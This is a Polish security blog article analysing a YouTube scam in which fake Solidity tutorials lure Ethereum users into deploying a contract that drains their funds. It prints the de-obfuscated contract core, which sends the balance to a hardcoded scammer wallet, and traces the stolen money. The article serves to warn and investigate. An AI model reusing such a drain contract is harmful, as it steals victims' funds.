Spis treści
Od wielu lat niezmiennie owocnym źródłem próbek złośliwego oprogramowania jest YouTube. Wystarczy wyszukać tutorialu dotyczącego hacków do gier, czy instalacji płatnego oprogramowania za darmo. Wiele tego typu filmików nakłania użytkownika do pobrania (złośliwego) pliku wykonywalnego i uruchomienia go. W taki sposób przestępcy - często bardzo mało zaawansowani - z drobną pomocą użytkownika, przejmują kontrolę nad jego komputerem, przez co ten pada ofiarą ich dalszych działań.
Jest to bardzo wygodny sposób infekowania urządzeń. Atakujący nie musi szukać podatności w oprogramowaniu, kupować exploitów, czy poszukiwać podatnych usług dostępnych z poziomu internetu. Ba, nie musi on nawet komponować list adresów email i przeprowadzać mozolnego procesu wysyłki spamu. Wystarczy, że zrobi to, co wąsaty Pan Mariusz spod trójki co weekend - zarzuci przynętę i poczeka aż ryba połknie haczyk.
Minusy? Są. Takim sposobem ciężko zaatakować konkretną, wybraną przez siebie ofiarę. Przestępcy korzystają jednak z efektu skali i doboru odpowiedniej przynęty, na którą łapać się będą z góry założone grupy odbiorców.
W dzisiejszym materiale przybliżymy śledztwo autorstwa @tim.sh dotyczące oszustwa, które opiera się na opisanym wyżej mechanizmie. Punktem wejściowym wciąż jest YouTube. Zarzutką są darmowe pieniądze, klasyka gatunku. Jednak w rolę ryby wcielają się posiadacze kryptowaluty ethereum. Ci o średniozaawansowanym poziomie wiedzy technicznej. W rolę złośliwego opgramowania wciela się kod smart kontraktu stworzonego w języku solidity. Wystarczy go skopiować, wkleić w IDE Ethereum i darmowe pieniądze pojawiają się na koncie.
Faktycznie taki proces zachodzi. Jednak darmowe pieniądze pojawiają się na koncie oszusta. A nam znikają.
Punkt wejścia
Tim, autor tego śledztwa, przygotowywał się do podróży samolotem. Pobrał trochę filmów z YouTube, aby umilić sobie podróż bez dostępu do internetu. Jednym z filmików był ten zawierający tutorial tworzenia smart kontraktów przy użyciu solidity. Jest to materiał, który przyciągnie uwagę osoby technicznej, zainteresowanej technologią blockchain i smart kontraktami.
Po uruchomieniu wideo Tim momentalnie zauważył, że coś jest nie tak - długość materiału. 3 minuty to za mało, by wyjaśnić zagadnienia opisane w tytule. Ale wystarczająco dużo, by zarzucić scamową przynętę i kogoś okraść.
Screenshot, źródło: https://youtu.be/Jig3Hb-y3yo
W skrócie, filmik zawiera instrukcje pokazujące krok-po-kroku:
- Uruchomienie IDE Remix i podpięcie swojego portfela ethereum.
- Kopiuj, wklej. Wklejamy ponad tysiąc linii kodu!
- Deploy smart kontraktu + drobna opłata
- Wypłata tysięcy darmowych USDT :)
Dodatkowo komentarze pod filmem uwiarygadniają scenariusz, zachęcając do uruchomienia kodu. A te negatywne są usuwane.
Złośliwy kod
W opisie filmu znajdujemy odnośnik do sites.google.com, gdzie znajdziemy bardzo długi dokument z kodem - pod żadnym pozorem nie uruchamiaj go w ramach smart kontraktu (samo kliknięcie w link jest w pełni bezpieczne).
Kod jest zasadniczo bardzo prosty i po zredukowaniu niepotrzebnych linii, dodanych w celu zaciemnienia go, otrzymujemy adres portfela przestępcy i dwie funkcje:
address UniswapV2 = 0x40d4AeC2145a1EeBE827Dab7EAea5BC337c386BB;
function start() public payable {
payable((UniswapV2)).transfer(address(this).balance);
}
function withdrawal() public payable {
payable((UniswapV2)).transfer(address(this).balance);
}
Po samodzielnym wdrożeniu kontraktu, ofiara traci wszystkie swoje środki - trafiają one na portfel zdefiniowany w kodzie, pozostający pod kontrolą oszustów.
Gdzie trafiają środki?
Środki ukradzione w ramach tej kampaniii trafiają na portfel o adresie 0x40d4…86BB.
Przy użyciu narzędzia do analizy blockchain, Metasleuth, możemy przyjrzeć się wszystkim wpłatom i wypłatom tego portfela.
Analiza portfela w programie metasleuth. Źródło: @tim.sh/metasleuth
Historia aktywności wskazuje, że potfel ten został zasilony przy użyciu 98 różnych kontraktów. Oznacza to, że udało się okraść prawie sto osób. Na kwotę około 50 tysięcy złotych.
Po wpłacie, środki rozpływały się na kolejne portfele. Większość z nich trafiało do 0x1922…7247.
Podążaj za pieniądzem
To wszystko? Sto ofiar? 50 tysięcy złotych?
Nie.
Sprzójrzmy dokąd portfel 0x1922…7247 wysyła pieniądze dalej.
Analiza kolejnego portfela. Źródło: @tim.sh/metasleuth
Jeden z portfeli przykuwa uwagę, ma ulokowane 2.25 miliona dolarów (ponad 9 milionów złotych)!
Obecny stan środków na docelowym portfelu. Źródło: @tim.sh
Taka charakterystyka przepływu środków może wskazywać, że jest to po prostu portfel techniczny giełdy kryptowalut i środki te nie należą do jednej osoby.
Jako Bezpieka, pracowaliśmy jednak przy podobnych sprawach i myślimy, że jest inaczej. Portfel, który znajduje się na końcu łańcucha i posiada najwięcej środków, prawdopodobnie należy do osoby organizującej cały przestępczy proceder. Portfele pośrednie mogą należeć do pracowników niższego szczebla, którzy przekazują pieniądze “górze”, zostawiając dla siebie odpowiedni procent.
Szukanie innych kampanii
Tę tezę podpierają wyniki poszukiwania innych kampanii realizujących ten sam scenariusz.
Punkt wejścia do scamu jest przekazywany w setkach filmików na YouTube. Możliwe także, że również na innych platformach. Filmy wrzucane są z kont związanych z tematyką kryptowalut, posiadających około 1000 subskrybentów każdy. Wszystkie filmy posiadają podobny schemat, bardzo podobny opis, podobny złośliwy kod. Różnią się tylko adresy, na które trafiają wykradzione środki.
Jak duża jest skala problemu? Sprawdź sam, wpisując w wyszukiwarkę poniższą frazę:
Scamowe treści w wyszukiwarce youtube. Źródło: @tim.sh/youtube
Wszystkie drogi prowadzą do…
…głównego portfela. Po lewej stronie, kolorem różowym, zaznaczony jest portfel znaleziony przy pierwszej analizie złośliwego kodu. Dwa powyżej niego to tożsame portfele, pochodzące z innych kampanii. Wszystkie w kilku krokach prowadzą do portfela-matki.
Obszerniejszy graf jest dostępny tutaj.
Portfel-matka zasilana z różnych kampanii. Źródło: @tim.sh/metasleuth
Kto za tym wszystkim stoi?
Na ten moment - ani my, ani analityk stojący za tym śledztwem, nie wiemy.
Jednak czas pokaże. Ukradzionych środków jest wystarczająco dużo, żeby sprawą zainteresowały się organy ścigania. Dysponują one odpowiednimi narzędziami merytorycznymi, technicznymi (m.in. bardzo skutecznym Chainanalysis) i prawnymi. Grupa wydaje się być zorganizowana, co w polskich realiach każdemu członkowi grupy podniosłoby “Wanted Level” o dwie gwiazdki. Dodatkowo, przepływ środków w blockchainie nie jest w żaden sposób ukrywany. Wskazuje to na niski poziom opsecu wśród członków grupy. W odpowiednim czasie zapewne poznamy twarze osób stojących za tymi kampaniami, a one same pojadą na długie wakacje do państwowego ośrodka wypoczynkowego.
Chyba, że przebywają w Rosji lub Korei Północnej.
To wtedy nie.